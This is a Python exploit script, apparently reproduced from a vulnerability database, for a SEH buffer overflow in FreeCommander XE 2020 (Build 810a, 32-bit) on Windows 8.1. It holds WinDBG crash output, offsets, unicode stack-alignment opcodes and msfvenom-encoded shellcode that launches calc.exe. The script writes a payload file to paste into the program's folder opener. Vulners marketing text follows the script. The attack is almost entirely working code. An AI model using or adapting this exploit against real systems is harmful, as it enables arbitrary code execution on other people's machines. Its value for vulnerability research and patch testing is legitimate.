`#!/usr/bin/python
# Exploit Title: FreeCommander XE 2020 - Pathname Buffer Overflow (SEH)
# Version: Build 810a 32-bit
# Software Link: https://freecommander.com/downloads/FreeCommanderXE-32-public_setup.zip
# Date: 2020-03-28
# Exploit Author: Hodorsec ([email protected] / [email protected])
# Vendor Homepage: https://www.freecommander.com
# Tested on: Win8.1 x64 - Build 9600
# Description:
# - Exploits the command / folder opener in the main window by entering an overly string and pressing enter: a crash will occur and the Structured Exception Handler kicks in (SEH overflown).
# - Some stack alignment was required, which eventually led to the ability of running shellcode.
# Reproduction:
# - Use indicated OS or manipulate settings for stack alignment: your mileage may vary due to different offsets on other Windows versions / SP's.
# - Run the script, a TXT file will be generated
# - On the Windows machine, open the TXT file in Wordpad. Copy and paste the output in the command / folder opener of FreeCommander
# - Check results
# WinDBG initial crash output:
# (db4.648): Access violation - code c0000005 (!!! second chance !!!)
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll -
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\FreeCommander XE\FreeCommander.exe -
# eax=00000000 ebx=00000000 ecx=00410041 edx=77e8ffaf esi=00000000 edi=00000000
# eip=00410041 esp=00091620 ebp=00091640 iopl=0 nv up ei pl zr na pe nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
# FreeCommander+0x10041:
# 00410041 0064005c add byte ptr [eax+eax+5Ch],ah ds:002b:0000005c=??
import sys, struct
# Filename
filename = "win8_freecommander_poc.txt"
# Maximum length
maxlen = 2000
# Shellcode
# msfvenom -p windows/exec cmd=calc.exe -e x86/unicode_mixed -b "\x00\x0a\x0d" bufferregister=eax
# Payload size: 512 bytes
shellcode = (
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlzHTBypkPm0aP2ixep190bDTKnpP0bk0RJl4Kobn44KbRKxjoFW0Jo6p1KODlml1Q3LlBNLKpy1XOLMm1UwgrzR1Br7tKobzp2k0JmlDKNlJq2XySPHzaHQR1bkaImPIqWc2k0In8jCmjMyRknT2kzaZ6maIo4leq6ozmm1i7NX7pPul6JccMzXmk3MKtSEhdnxTKb8ldza6srFBklLPKbkqHMLKQhSbkM4dKIqVp1ymtmTldokokQQaIoj21yoK01OOoPZDKzrxkDM1MaZZa4M55UbM0ipkPr0S8nQRkROu7KOWeukHpTuFB1F2HvFBuWMuMio6umlM6CLZjQpIk7pRUlEWKa7mCsBrO1ZypR3ioxU0cS12LosnNpet80eM0AA"
)
# Offsets
seh = 522
nseh = seh - 2
# Venetian NOP
nop = "\x45"
# Aligning EBP with buffer
# ESP being closest to buffer
# ESP = 0018ecc4, Buffer = 0018fb5f: Buffer - ESP = 0x0e9b
align_esp = ( "\x54" # PUSH ESP
+ nop + # Padding
"\x58" # POP EAX
+ nop + # Padding
"\x05\x11\x11" # "\x05\x00\x10\x00\x11" # 0500100011 add eax,0x11001000 --\
+ nop + # Padding |--> Adds 0x0f00 bytes
"\x2d\x02\x11" # "\x2d\x00\x01\x00\x11" # 2d00010011 sub eax,0x11000100 --/
+ nop + # Padding
"\x40" # INC EAX # Added due to one-off unicode byte
+ nop + # Padding
"\x50" # PUSH EAX
+ nop + # Padding
"\xc3" # RET
)
# Prefix
prefix = "A" * seh # Fill junk
# NSEH/SEH
nseh = "\x41\x45" # NOP --> INC ECX # ADD [EBP], AL
seh = "\x71\x4c" # POP POP RET
# Suffix
suffix = nop * 3 # Align
suffix += align_esp # Align registers; EAX for executing shellcode
suffix += nop * 48 # Nopping until buffer
suffix += shellcode # Do some magic
suffix += "D" * (maxlen - len(prefix + nseh + seh + suffix)) # Fill junk
# Concatenate string for payload
payload = prefix + nseh + seh + suffix # Put it all together
try:
file = open(filename,"wb")
file.write(payload)
file.close()
print "[+] File " + filename + " with size of " + str(len(payload)) + " created successfully"
except:
print "[!] Error creating file!"
sys.exit(0)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation